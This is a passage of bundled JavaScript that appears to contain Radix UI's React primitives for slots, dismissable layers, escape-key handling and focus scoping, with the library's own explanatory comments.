    ]);
    return [
        value1,
        setValue
    ];
}
function $71cd76cc60e0454e$var$useUncontrolledState({ defaultProp: defaultProp , onChange: onChange  }) {
    const uncontrolledState = (0,external_React_namespaceObject.useState)(defaultProp);
    const [value] = uncontrolledState;
    const prevValueRef = (0,external_React_namespaceObject.useRef)(value);
    const handleChange = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onChange);
    (0,external_React_namespaceObject.useEffect)(()=>{
        if (prevValueRef.current !== value) {
            handleChange(value);
            prevValueRef.current = value;
        }
    }, [
        value,
        prevValueRef,
        handleChange
    ]);
    return uncontrolledState;
}





;// external "ReactDOM"
const external_ReactDOM_namespaceObject = window["ReactDOM"];
;// ./node_modules/@radix-ui/react-slot/dist/index.mjs







/* -------------------------------------------------------------------------------------------------
 * Slot
 * -----------------------------------------------------------------------------------------------*/ const $5e63c961fc1ce211$export$8c6ed5c666ac1360 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const { children: children , ...slotProps } = props;
    const childrenArray = external_React_namespaceObject.Children.toArray(children);
    const slottable = childrenArray.find($5e63c961fc1ce211$var$isSlottable);
    if (slottable) {
        // the new element to render is the one passed as a child of `Slottable`
        const newElement = slottable.props.children;
        const newChildren = childrenArray.map((child)=>{
            if (child === slottable) {
                // because the new element will be the one rendered, we are only interested
                // in grabbing its children (`newElement.props.children`)
                if (external_React_namespaceObject.Children.count(newElement) > 1) return external_React_namespaceObject.Children.only(null);
                return /*#__PURE__*/ (0,external_React_namespaceObject.isValidElement)(newElement) ? newElement.props.children : null;
            } else return child;
        });
        return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5e63c961fc1ce211$var$SlotClone, _extends({}, slotProps, {
            ref: forwardedRef
        }), /*#__PURE__*/ (0,external_React_namespaceObject.isValidElement)(newElement) ? /*#__PURE__*/ (0,external_React_namespaceObject.cloneElement)(newElement, undefined, newChildren) : null);
    }
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5e63c961fc1ce211$var$SlotClone, _extends({}, slotProps, {
        ref: forwardedRef
    }), children);
});
$5e63c961fc1ce211$export$8c6ed5c666ac1360.displayName = 'Slot';
/* -------------------------------------------------------------------------------------------------
 * SlotClone
 * -----------------------------------------------------------------------------------------------*/ const $5e63c961fc1ce211$var$SlotClone = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const { children: children , ...slotProps } = props;
    if (/*#__PURE__*/ (0,external_React_namespaceObject.isValidElement)(children)) return /*#__PURE__*/ (0,external_React_namespaceObject.cloneElement)(children, {
        ...$5e63c961fc1ce211$var$mergeProps(slotProps, children.props),
        ref: forwardedRef ? $6ed0406888f73fc4$export$43e446d32b3d21af(forwardedRef, children.ref) : children.ref
    });
    return external_React_namespaceObject.Children.count(children) > 1 ? external_React_namespaceObject.Children.only(null) : null;
});
$5e63c961fc1ce211$var$SlotClone.displayName = 'SlotClone';
/* -------------------------------------------------------------------------------------------------
 * Slottable
 * -----------------------------------------------------------------------------------------------*/ const $5e63c961fc1ce211$export$d9f1ccf0bdb05d45 = ({ children: children  })=>{
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)(external_React_namespaceObject.Fragment, null, children);
};
/* ---------------------------------------------------------------------------------------------- */ function $5e63c961fc1ce211$var$isSlottable(child) {
    return /*#__PURE__*/ (0,external_React_namespaceObject.isValidElement)(child) && child.type === $5e63c961fc1ce211$export$d9f1ccf0bdb05d45;
}
function $5e63c961fc1ce211$var$mergeProps(slotProps, childProps) {
    // all child props should override
    const overrideProps = {
        ...childProps
    };
    for(const propName in childProps){
        const slotPropValue = slotProps[propName];
        const childPropValue = childProps[propName];
        const isHandler = /^on[A-Z]/.test(propName);
        if (isHandler) {
            // if the handler exists on both, we compose them
            if (slotPropValue && childPropValue) overrideProps[propName] = (...args)=>{
                childPropValue(...args);
                slotPropValue(...args);
            };
            else if (slotPropValue) overrideProps[propName] = slotPropValue;
        } else if (propName === 'style') overrideProps[propName] = {
            ...slotPropValue,
            ...childPropValue
        };
        else if (propName === 'className') overrideProps[propName] = [
            slotPropValue,
            childPropValue
        ].filter(Boolean).join(' ');
    }
    return {
        ...slotProps,
        ...overrideProps
    };
}
const $5e63c961fc1ce211$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($5e63c961fc1ce211$export$8c6ed5c666ac1360));





;// ./node_modules/@radix-ui/react-primitive/dist/index.mjs









const $8927f6f2acc4f386$var$NODES = [
    'a',
    'button',
    'div',
    'form',
    'h2',
    'h3',
    'img',
    'input',
    'label',
    'li',
    'nav',
    'ol',
    'p',
    'span',
    'svg',
    'ul'
]; // Temporary while we await merge of this fix:
// https://github.com/DefinitelyTyped/DefinitelyTyped/pull/55396
// prettier-ignore
/* -------------------------------------------------------------------------------------------------
 * Primitive
 * -----------------------------------------------------------------------------------------------*/ const $8927f6f2acc4f386$export$250ffa63cdc0d034 = $8927f6f2acc4f386$var$NODES.reduce((primitive, node)=>{
    const Node = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
        const { asChild: asChild , ...primitiveProps } = props;
        const Comp = asChild ? $5e63c961fc1ce211$export$8c6ed5c666ac1360 : node;
        (0,external_React_namespaceObject.useEffect)(()=>{
            window[Symbol.for('radix-ui')] = true;
        }, []);
        return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)(Comp, _extends({}, primitiveProps, {
            ref: forwardedRef
        }));
    });
    Node.displayName = `Primitive.${node}`;
    return {
        ...primitive,
        [node]: Node
    };
}, {});
/* -------------------------------------------------------------------------------------------------
 * Utils
 * -----------------------------------------------------------------------------------------------*/ /**
 * Flush custom event dispatch
 * https://github.com/radix-ui/primitives/pull/1378
 *
 * React batches *all* event handlers since version 18, this introduces certain considerations when using custom event types.
 *
 * Internally, React prioritises events in the following order:
 *  - discrete
 *  - continuous
 *  - default
 *
 * https://github.com/facebook/react/blob/a8a4742f1c54493df00da648a3f9d26e3db9c8b5/packages/react-dom/src/events/ReactDOMEventListener.js#L294-L350
 *
 * `discrete` is an  important distinction as updates within these events are applied immediately.
 * React however, is not able to infer the priority of custom event types due to how they are detected internally.
 * Because of this, it's possible for updates from custom events to be unexpectedly batched when
 * dispatched by another `discrete` event.
 *
 * In order to ensure that updates from custom events are applied predictably, we need to manually flush the batch.
 * This utility should be used when dispatching a custom event from within another `discrete` event, this utility
 * is not nessesary when dispatching known event types, or if dispatching a custom type inside a non-discrete event.
 * For example:
 *
 * dispatching a known click 👎
 * target.dispatchEvent(new Event(‘click’))
 *
 * dispatching a custom type within a non-discrete event 👎
 * onScroll={(event) => event.target.dispatchEvent(new CustomEvent(‘customType’))}
 *
 * dispatching a custom type within a `discrete` event 👍
 * onPointerDown={(event) => dispatchDiscreteCustomEvent(event.target, new CustomEvent(‘customType’))}
 *
 * Note: though React classifies `focus`, `focusin` and `focusout` events as `discrete`, it's  not recommended to use
 * this utility with them. This is because it's possible for those handlers to be called implicitly during render
 * e.g. when focus is within a component as it is unmounted, or when managing focus on mount.
 */ function $8927f6f2acc4f386$export$6d1a0317bde7de7f(target, event) {
    if (target) (0,external_ReactDOM_namespaceObject.flushSync)(()=>target.dispatchEvent(event)
    );
}
/* -----------------------------------------------------------------------------------------------*/ const $8927f6f2acc4f386$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($8927f6f2acc4f386$export$250ffa63cdc0d034));





;// ./node_modules/@radix-ui/react-use-escape-keydown/dist/index.mjs





/**
 * Listens for when the escape key is down
 */ function $addc16e1bbe58fd0$export$3a72a57244d6e765(onEscapeKeyDownProp, ownerDocument = globalThis === null || globalThis === void 0 ? void 0 : globalThis.document) {
    const onEscapeKeyDown = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onEscapeKeyDownProp);
    (0,external_React_namespaceObject.useEffect)(()=>{
        const handleKeyDown = (event)=>{
            if (event.key === 'Escape') onEscapeKeyDown(event);
        };
        ownerDocument.addEventListener('keydown', handleKeyDown);
        return ()=>ownerDocument.removeEventListener('keydown', handleKeyDown)
        ;
    }, [
        onEscapeKeyDown,
        ownerDocument
    ]);
}





;// ./node_modules/@radix-ui/react-dismissable-layer/dist/index.mjs















/* -------------------------------------------------------------------------------------------------
 * DismissableLayer
 * -----------------------------------------------------------------------------------------------*/ const $5cb92bef7577960e$var$DISMISSABLE_LAYER_NAME = 'DismissableLayer';
const $5cb92bef7577960e$var$CONTEXT_UPDATE = 'dismissableLayer.update';
const $5cb92bef7577960e$var$POINTER_DOWN_OUTSIDE = 'dismissableLayer.pointerDownOutside';
const $5cb92bef7577960e$var$FOCUS_OUTSIDE = 'dismissableLayer.focusOutside';
let $5cb92bef7577960e$var$originalBodyPointerEvents;
const $5cb92bef7577960e$var$DismissableLayerContext = /*#__PURE__*/ (0,external_React_namespaceObject.createContext)({
    layers: new Set(),
    layersWithOutsidePointerEventsDisabled: new Set(),
    branches: new Set()
});
const $5cb92bef7577960e$export$177fb62ff3ec1f22 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    var _node$ownerDocument;
    const { disableOutsidePointerEvents: disableOutsidePointerEvents = false , onEscapeKeyDown: onEscapeKeyDown , onPointerDownOutside: onPointerDownOutside , onFocusOutside: onFocusOutside , onInteractOutside: onInteractOutside , onDismiss: onDismiss , ...layerProps } = props;
    const context = (0,external_React_namespaceObject.useContext)($5cb92bef7577960e$var$DismissableLayerContext);
    const [node1, setNode] = (0,external_React_namespaceObject.useState)(null);
    const ownerDocument = (_node$ownerDocument = node1 === null || node1 === void 0 ? void 0 : node1.ownerDocument) !== null && _node$ownerDocument !== void 0 ? _node$ownerDocument : globalThis === null || globalThis === void 0 ? void 0 : globalThis.document;
    const [, force] = (0,external_React_namespaceObject.useState)({});
    const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, (node)=>setNode(node)
    );
    const layers = Array.from(context.layers);
    const [highestLayerWithOutsidePointerEventsDisabled] = [
        ...context.layersWithOutsidePointerEventsDisabled
    ].slice(-1); // prettier-ignore
    const highestLayerWithOutsidePointerEventsDisabledIndex = layers.indexOf(highestLayerWithOutsidePointerEventsDisabled); // prettier-ignore
    const index = node1 ? layers.indexOf(node1) : -1;
    const isBodyPointerEventsDisabled = context.layersWithOutsidePointerEventsDisabled.size > 0;
    const isPointerEventsEnabled = index >= highestLayerWithOutsidePointerEventsDisabledIndex;
    const pointerDownOutside = $5cb92bef7577960e$var$usePointerDownOutside((event)=>{
        const target = event.target;
        const isPointerDownOnBranch = [
            ...context.branches
        ].some((branch)=>branch.contains(target)
        );
        if (!isPointerEventsEnabled || isPointerDownOnBranch) return;
        onPointerDownOutside === null || onPointerDownOutside === void 0 || onPointerDownOutside(event);
        onInteractOutside === null || onInteractOutside === void 0 || onInteractOutside(event);
        if (!event.defaultPrevented) onDismiss === null || onDismiss === void 0 || onDismiss();
    }, ownerDocument);
    const focusOutside = $5cb92bef7577960e$var$useFocusOutside((event)=>{
        const target = event.target;
        const isFocusInBranch = [
            ...context.branches
        ].some((branch)=>branch.contains(target)
        );
        if (isFocusInBranch) return;
        onFocusOutside === null || onFocusOutside === void 0 || onFocusOutside(event);
        onInteractOutside === null || onInteractOutside === void 0 || onInteractOutside(event);
        if (!event.defaultPrevented) onDismiss === null || onDismiss === void 0 || onDismiss();
    }, ownerDocument);
    $addc16e1bbe58fd0$export$3a72a57244d6e765((event)=>{
        const isHighestLayer = index === context.layers.size - 1;
        if (!isHighestLayer) return;
        onEscapeKeyDown === null || onEscapeKeyDown === void 0 || onEscapeKeyDown(event);
        if (!event.defaultPrevented && onDismiss) {
            event.preventDefault();
            onDismiss();
        }
    }, ownerDocument);
    (0,external_React_namespaceObject.useEffect)(()=>{
        if (!node1) return;
        if (disableOutsidePointerEvents) {
            if (context.layersWithOutsidePointerEventsDisabled.size === 0) {
                $5cb92bef7577960e$var$originalBodyPointerEvents = ownerDocument.body.style.pointerEvents;
                ownerDocument.body.style.pointerEvents = 'none';
            }
            context.layersWithOutsidePointerEventsDisabled.add(node1);
        }
        context.layers.add(node1);
        $5cb92bef7577960e$var$dispatchUpdate();
        return ()=>{
            if (disableOutsidePointerEvents && context.layersWithOutsidePointerEventsDisabled.size === 1) ownerDocument.body.style.pointerEvents = $5cb92bef7577960e$var$originalBodyPointerEvents;
        };
    }, [
        node1,
        ownerDocument,
        disableOutsidePointerEvents,
        context
    ]);
    /**
   * We purposefully prevent combining this effect with the `disableOutsidePointerEvents` effect
   * because a change to `disableOutsidePointerEvents` would remove this layer from the stack
   * and add it to the end again so the layering order wouldn't be _creation order_.
   * We only want them to be removed from context stacks when unmounted.
   */ (0,external_React_namespaceObject.useEffect)(()=>{
        return ()=>{
            if (!node1) return;
            context.layers.delete(node1);
            context.layersWithOutsidePointerEventsDisabled.delete(node1);
            $5cb92bef7577960e$var$dispatchUpdate();
        };
    }, [
        node1,
        context
    ]);
    (0,external_React_namespaceObject.useEffect)(()=>{
        const handleUpdate = ()=>force({})
        ;
        document.addEventListener($5cb92bef7577960e$var$CONTEXT_UPDATE, handleUpdate);
        return ()=>document.removeEventListener($5cb92bef7577960e$var$CONTEXT_UPDATE, handleUpdate)
        ;
    }, []);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({}, layerProps, {
        ref: composedRefs,
        style: {
            pointerEvents: isBodyPointerEventsDisabled ? isPointerEventsEnabled ? 'auto' : 'none' : undefined,
            ...props.style
        },
        onFocusCapture: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onFocusCapture, focusOutside.onFocusCapture),
        onBlurCapture: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onBlurCapture, focusOutside.onBlurCapture),
        onPointerDownCapture: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onPointerDownCapture, pointerDownOutside.onPointerDownCapture)
    }));
});
/*#__PURE__*/ Object.assign($5cb92bef7577960e$export$177fb62ff3ec1f22, {
    displayName: $5cb92bef7577960e$var$DISMISSABLE_LAYER_NAME
});
/* -------------------------------------------------------------------------------------------------
 * DismissableLayerBranch
 * -----------------------------------------------------------------------------------------------*/ const $5cb92bef7577960e$var$BRANCH_NAME = 'DismissableLayerBranch';
const $5cb92bef7577960e$export$4d5eb2109db14228 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const context = (0,external_React_namespaceObject.useContext)($5cb92bef7577960e$var$DismissableLayerContext);
    const ref = (0,external_React_namespaceObject.useRef)(null);
    const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, ref);
    (0,external_React_namespaceObject.useEffect)(()=>{
        const node = ref.current;
        if (node) {
            context.branches.add(node);
            return ()=>{
                context.branches.delete(node);
            };
        }
    }, [
        context.branches
    ]);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({}, props, {
        ref: composedRefs
    }));
});
/*#__PURE__*/ Object.assign($5cb92bef7577960e$export$4d5eb2109db14228, {
    displayName: $5cb92bef7577960e$var$BRANCH_NAME
});
/* -----------------------------------------------------------------------------------------------*/ /**
 * Listens for `pointerdown` outside a react subtree. We use `pointerdown` rather than `pointerup`
 * to mimic layer dismissing behaviour present in OS.
 * Returns props to pass to the node we want to check for outside events.
 */ function $5cb92bef7577960e$var$usePointerDownOutside(onPointerDownOutside, ownerDocument = globalThis === null || globalThis === void 0 ? void 0 : globalThis.document) {
    const handlePointerDownOutside = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onPointerDownOutside);
    const isPointerInsideReactTreeRef = (0,external_React_namespaceObject.useRef)(false);
    const handleClickRef = (0,external_React_namespaceObject.useRef)(()=>{});
    (0,external_React_namespaceObject.useEffect)(()=>{
        const handlePointerDown = (event)=>{
            if (event.target && !isPointerInsideReactTreeRef.current) {
                const eventDetail = {
                    originalEvent: event
                };
                function handleAndDispatchPointerDownOutsideEvent() {
                    $5cb92bef7577960e$var$handleAndDispatchCustomEvent($5cb92bef7577960e$var$POINTER_DOWN_OUTSIDE, handlePointerDownOutside, eventDetail, {
                        discrete: true
                    });
                }
                /**
         * On touch devices, we need to wait for a click event because browsers implement
         * a ~350ms delay between the time the user stops touching the display and when the
         * browser executres events. We need to ensure we don't reactivate pointer-events within
         * this timeframe otherwise the browser may execute events that should have been prevented.
         *
         * Additionally, this also lets us deal automatically with cancellations when a click event
         * isn't raised because the page was considered scrolled/drag-scrolled, long-pressed, etc.
         *
         * This is why we also continuously remove the previous listener, because we cannot be
         * certain that it was raised, and therefore cleaned-up.
         */ if (event.pointerType === 'touch') {
                    ownerDocument.removeEventListener('click', handleClickRef.current);
                    handleClickRef.current = handleAndDispatchPointerDownOutsideEvent;
                    ownerDocument.addEventListener('click', handleClickRef.current, {
                        once: true
                    });
                } else handleAndDispatchPointerDownOutsideEvent();
            } else // We need to remove the event listener in case the outside click has been canceled.
            // See: https://github.com/radix-ui/primitives/issues/2171
            ownerDocument.removeEventListener('click', handleClickRef.current);
            isPointerInsideReactTreeRef.current = false;
        };
        /**
     * if this hook executes in a component that mounts via a `pointerdown` event, the event
     * would bubble up to the document and trigger a `pointerDownOutside` event. We avoid
     * this by delaying the event listener registration on the document.
     * This is not React specific, but rather how the DOM works, ie:
     * ```
     * button.addEventListener('pointerdown', () => {
     *   console.log('I will log');
     *   document.addEventListener('pointerdown', () => {
     *     console.log('I will also log');
     *   })
     * });
     */ const timerId = window.setTimeout(()=>{
            ownerDocument.addEventListener('pointerdown', handlePointerDown);
        }, 0);
        return ()=>{
            window.clearTimeout(timerId);
            ownerDocument.removeEventListener('pointerdown', handlePointerDown);
            ownerDocument.removeEventListener('click', handleClickRef.current);
        };
    }, [
        ownerDocument,
        handlePointerDownOutside
    ]);
    return {
        // ensures we check React component tree (not just DOM tree)
        onPointerDownCapture: ()=>isPointerInsideReactTreeRef.current = true
    };
}
/**
 * Listens for when focus happens outside a react subtree.
 * Returns props to pass to the root (node) of the subtree we want to check.
 */ function $5cb92bef7577960e$var$useFocusOutside(onFocusOutside, ownerDocument = globalThis === null || globalThis === void 0 ? void 0 : globalThis.document) {
    const handleFocusOutside = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onFocusOutside);
    const isFocusInsideReactTreeRef = (0,external_React_namespaceObject.useRef)(false);
    (0,external_React_namespaceObject.useEffect)(()=>{
        const handleFocus = (event)=>{
            if (event.target && !isFocusInsideReactTreeRef.current) {
                const eventDetail = {
                    originalEvent: event
                };
                $5cb92bef7577960e$var$handleAndDispatchCustomEvent($5cb92bef7577960e$var$FOCUS_OUTSIDE, handleFocusOutside, eventDetail, {
                    discrete: false
                });
            }
        };
        ownerDocument.addEventListener('focusin', handleFocus);
        return ()=>ownerDocument.removeEventListener('focusin', handleFocus)
        ;
    }, [
        ownerDocument,
        handleFocusOutside
    ]);
    return {
        onFocusCapture: ()=>isFocusInsideReactTreeRef.current = true
        ,
        onBlurCapture: ()=>isFocusInsideReactTreeRef.current = false
    };
}
function $5cb92bef7577960e$var$dispatchUpdate() {
    const event = new CustomEvent($5cb92bef7577960e$var$CONTEXT_UPDATE);
    document.dispatchEvent(event);
}
function $5cb92bef7577960e$var$handleAndDispatchCustomEvent(name, handler, detail, { discrete: discrete  }) {
    const target = detail.originalEvent.target;
    const event = new CustomEvent(name, {
        bubbles: false,
        cancelable: true,
        detail: detail
    });
    if (handler) target.addEventListener(name, handler, {
        once: true
    });
    if (discrete) $8927f6f2acc4f386$export$6d1a0317bde7de7f(target, event);
    else target.dispatchEvent(event);
}
const $5cb92bef7577960e$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($5cb92bef7577960e$export$177fb62ff3ec1f22));
const $5cb92bef7577960e$export$aecb2ddcb55c95be = (/* unused pure expression or super */ null && ($5cb92bef7577960e$export$4d5eb2109db14228));





;// ./node_modules/@radix-ui/react-focus-scope/dist/index.mjs











const $d3863c46a17e8a28$var$AUTOFOCUS_ON_MOUNT = 'focusScope.autoFocusOnMount';
const $d3863c46a17e8a28$var$AUTOFOCUS_ON_UNMOUNT = 'focusScope.autoFocusOnUnmount';
const $d3863c46a17e8a28$var$EVENT_OPTIONS = {
    bubbles: false,
    cancelable: true
};
/* -------------------------------------------------------------------------------------------------
 * FocusScope
 * -----------------------------------------------------------------------------------------------*/ const $d3863c46a17e8a28$var$FOCUS_SCOPE_NAME = 'FocusScope';
const $d3863c46a17e8a28$export$20e40289641fbbb6 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const { loop: loop = false , trapped: trapped = false , onMountAutoFocus: onMountAutoFocusProp , onUnmountAutoFocus: onUnmountAutoFocusProp , ...scopeProps } = props;
    const [container1, setContainer] = (0,external_React_namespaceObject.useState)(null);
    const onMountAutoFocus = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onMountAutoFocusProp);
    const onUnmountAutoFocus = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onUnmountAutoFocusProp);
    const lastFocusedElementRef = (0,external_React_namespaceObject.useRef)(null);
    const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, (node)=>setContainer(node)
    );
    const focusScope = (0,external_React_namespaceObject.useRef)({
        paused: false,
        pause () {
            this.paused = true;
        },
        resume () {
            this.paused = false;
        }
    }).current; // Takes care of trapping focus if focus is moved outside programmatically for example
    (0,external_React_namespaceObject.useEffect)(()=>{
        if (trapped) {
            function handleFocusIn(event) {
                if (focusScope.paused || !container1) return;
                const target = event.target;
                if (container1.contains(target)) lastFocusedElementRef.current = target;
                else $d3863c46a17e8a28$var$focus(lastFocusedElementRef.current, {
                    select: true
                });
            }
            function handleFocusOut(event) {
                if (focusScope.paused || !container1) return;
                const relatedTarget = event.relatedTarget; // A `focusout` event with a `null` `relatedTarget` will happen in at least two cases:
                //
                // 1. When the user switches app/tabs/windows/the browser itself loses focus.
                // 2. In Google Chrome, when the focused element is removed from the DOM.
                //
                // We let the browser do its thing here because:
                //
                // 1. The browser already keeps a memory of what's focused for when the page gets refocused.
                // 2. In Google Chrome, if we try to focus the deleted focused element (as per below), it
                //    throws the CPU to 100%, so we avoid doing anything for this reason here too.
                if (relatedTarget === null) return; // If the focus has moved to an actual legitimate element (`relatedTarget !== null`)
                // that is outside the container, we move focus to the last valid focused element inside.
                if (!container1.contains(relatedTarget)) $d3863c46a17e8a28$var$focus(lastFocusedElementRef.current, {
                    select: true
                });
            } // When the focused element gets removed from the DOM, browsers move focus
            // back to the document.body. In this case, we move focus to the container
            // to keep focus trapped correctly.
            function handleMutations(mutations) {
                const focusedElement = document.activeElement;
                if (focusedElement !== document.body) return;
                for (const mutation of mutations)if (mutation.removedNodes.length > 0) $d3863c46a17e8a28$var$focus(container1);
            }
            document.addEventListener('focusin', handleFocusIn);
            document.addEventListener('focusout', handleFocusOut);
            const mutationObserver = new MutationObserver(handleMutations);
            if (container1) mutationObserver.observe(container1, {
                childList: true,
                subtree: true
            });
            return ()=>{
                document.removeEventListener('focusin', handleFocusIn);
                document.removeEventListener('focusout', handleFocusOut);
                mutationObserver.disconnect();
            };
        }
    }, [
        trapped,
        container1,
        focusScope.paused
    ]);
    (0,external_React_namespaceObject.useEffect)(()=>{
        if (container1) {
            $d3863c46a17e8a28$var$focusScopesStack.add(focusScope);
            const previouslyFocusedElement = document.activeElement;
            const hasFocusedCandidate = container1.contains(previouslyFocusedElement);
            if (!hasFocusedCandidate) {
                const mountEvent = new CustomEvent($d3863c46a17e8a28$var$AUTOFOCUS_ON_MOUNT, $d3863c46a17e8a28$var$EVENT_OPTIONS);
                container1.addEventListener($d3863c46a17e8a28$var$AUTOFOCUS_ON_MOUNT, onMountAutoFocus);
                container1.dispatchEvent(mountEvent);
                if (!mountEvent.defaultPrevented) {
                    $d3863c46a17e8a28$var$focusFirst($d3863c46a17e8a28$var$removeLinks($d3863c46a17e8a28$var$getTabbableCandidates(container1)), {
                        select: true
                    });
                    if (document.activeElement === previouslyFocusedElement) $d3863c46a17e8a28$var$focus(container1);
                }
            }
            return ()=>{
                container1.removeEventListener($d3863c46a17e8a28$var$AUTOFOCUS_ON_MOUNT, onMountAutoFocus); // We hit a react bug (fixed in v17) with focusing in unmount.
                // We need to delay the focus a little to get around it for now.
                // See: https://github.com/facebook/react/issues/17894
                setTimeout(()=>{
                    const unmountEvent = new CustomEvent($d3863c46a17e8a28$var$AUTOFOCUS_ON_UNMOUNT, $d3863c46a17e8a28$var$EVENT_OPTIONS);
                    container1.addEventListener($d3863c46a17e8a28$var$AUTOFOCUS_ON_UNMOUNT, onUnmountAutoFocus);
                    container1.dispatchEvent(unmountEvent);
                    if (!unmountEvent.defaultPrevented) $d3863c46a17e8a28$var$focus(previouslyFocusedElement !== null && previouslyFocusedElement !== void 0 ? previouslyFocusedElement : document.body, {
                        select: true
                    });
                     // we need to remove the listener after we `dispatchEvent`
                    container1.removeEventListener($d3863c46a17e8a28$var$AUTOFOCUS_ON_UNMOUNT, onUnmountAutoFocus);
                    $d3863c46a17e8a28$var$focusScopesStack.remove(focusScope);
                }, 0);
            };
        }
    }, [
        container1,
        onMountAutoFocus,
        onUnmountAutoFocus,
        focusScope
    ]); // Takes care of looping focus (when tabbing whilst at the edges)
    const handleKeyDown = (0,external_React_namespaceObject.useCallback)((event)=>{
        if (!loop && !trapped) return;
        if (focusScope.paused) return;
        const isTabKey = event.key === 'Tab' && !event.altKey && !event.ctrlKey && !event.metaKey;
        const focusedElement = document.activeElement;
        if (isTabKey && focusedElement) {
            const container = event.currentTarget;
            const [first, last] = $d3863c46a17e8a28$var$getTabbableEdges(container);
            const hasTabbableElementsInside = first && last; // we can only wrap focus if we have tabbable edges
            if (!hasTabbableElementsInside) {
                if (focusedElement === container) event.preventDefault();
            } else {
                if (!event.shiftKey && focusedElement === last) {
                    event.preventDefault();
                    if (loop) $d3863c46a17e8a28$var$focus(first, {
                        select: true
                    });
                } else if (event.shiftKey && focusedElement === first) {
                    event.preventDefault();
                    if (loop) $d3863c46a17e8a28$var$focus(last, {
                        select: true
                    });
                }
            }
        }
    }, [
        loop,
        trapped,
        focusScope.paused
    ]);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({
        tabIndex: -1
    }, scopeProps, {
        ref: composedRefs,
        onKeyDown: handleKeyDown
    }));
});
/*#__PURE__*/ Object.assign($d3863c46a17e8a28$export$20e40289641fbbb6, {
    displayName: $d3863c46a17e8a28$var$FOCUS_SCOPE_NAME
});
/* -------------------------------------------------------------------------------------------------
 * Utils
 * -----------------------------------------------------------------------------------------------*/ /**
 * Attempts focusing the first element in a list of candidates.
 * Stops when focus has actually moved.
 */ function $d3863c46a17e8a28$var$focusFirst(candidates, { select: select = false  } = {}) {
    const previouslyFocusedElement = document.activeElement;
    for (const candidate of candidates){
        $d3863c46a17e8a28$var$focus(candidate, {
            select: select
        });
        if (document.activeElement !== previouslyFocusedElement) return;
    }
}
/**
 * Returns the first and last tabbable elements inside a container.
 */ function $d3863c46a17e8a28$var$getTabbableEdges(container) {
    const candidates = $d3863c46a17e8a28$var$getTabbableCandidates(container);
    const first = $d3863c46a17e8a28$var$findVisible(candidates, container);
    const last = $d3863c46a17e8a28$var$findVisible(candidates.reverse(), container);
    return [
        first,
        last
    ];
}
/**
 * Returns a list of potential tabbable candidates.
 *
 * NOTE: This is only a close approximation. For example it doesn't take into account cases like when
 * elements are not visible. This cannot be worked out easily by just reading a property, but rather
 * necessitate runtime knowledge (computed styles, etc). We deal with these cases separately.
 *
 * See: https://developer.mozilla.org/en-US/docs/Web/API/TreeWalker
 * Credit: https://github.com/discord/focus-layers/blob/master/src/util/wrapFocus.tsx#L1
 */ function $d3863c46a17e8a28$var$getTabbableCandidates(container) {
    const nodes = [];
    const walker = document.createTreeWalker(container, NodeFilter.SHOW_ELEMENT, {
        acceptNode: (node)=>{
            const isHiddenInput = node.tagName === 'INPUT' && node.type === 'hidden';
            if (node.disabled || node.hidden || isHiddenInput) return NodeFilter.FILTER_SKIP; // `.tabIndex` is not the same as the `tabindex` attribute. It works on the
            // runtime's understanding of tabbability, so this automatically accounts
            // for any kind of element that could be tabbed to.
            return node.tabIndex >= 0 ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_SKIP;
        }
    });
    while(walker.nextNode())nodes.push(walker.currentNode); // we do not take into account the order of nodes with positive `tabIndex` as it
    // hinders accessibility to have tab order different from visual order.
    return nodes;
}
/**
 * Returns the first visible element in a list.
 * NOTE: Only checks visibility up to the `container`.
 */ function $d3863c46a17e8a28$var$findVisible(elements, container) {
    for (const element of elements){
        // we stop checking if it's hidden at the `container` level (excluding)
        if (!$d3863c46a17e8a28$var$isHidden(element, {
            upTo: container
        })) return element;
    }
}
function $d3863c46a17e8a28$var$isHidden(node, { upTo: upTo  }) {
    if (getComputedStyle(node).visibility === 'hidden') return true;
    while(node){
        // we stop at `upTo` (excluding it)
        if (upTo !== undefined && node === upTo) return false;
        if (getComputedStyle(node).display === 'none') return true;
        node = node.parentElement;
    }
    return false;
}
function $d3863c46a17e8a28$var$isSelectableInput(element) {
    return element instanceof HTMLInputElement && 'select' in element;
}
function $d3863c46a17e8a28$var$focus(element, { select: select = false  } = {}) {
    // only focus if that element is focusable
    if (element && element.focus) {
        const previouslyFocusedElement = document.activeElement; // NOTE: we prevent scrolling on focus, to minimize jarring transitions for users
        element.focus({
            preventScroll: true
        }); // only select if its not the same element, it supports selection and we need to select
        if (element !== previouslyFocusedElement && $d3863c46a17e8a28$var$isSelectableInput(element) && select) element.select();
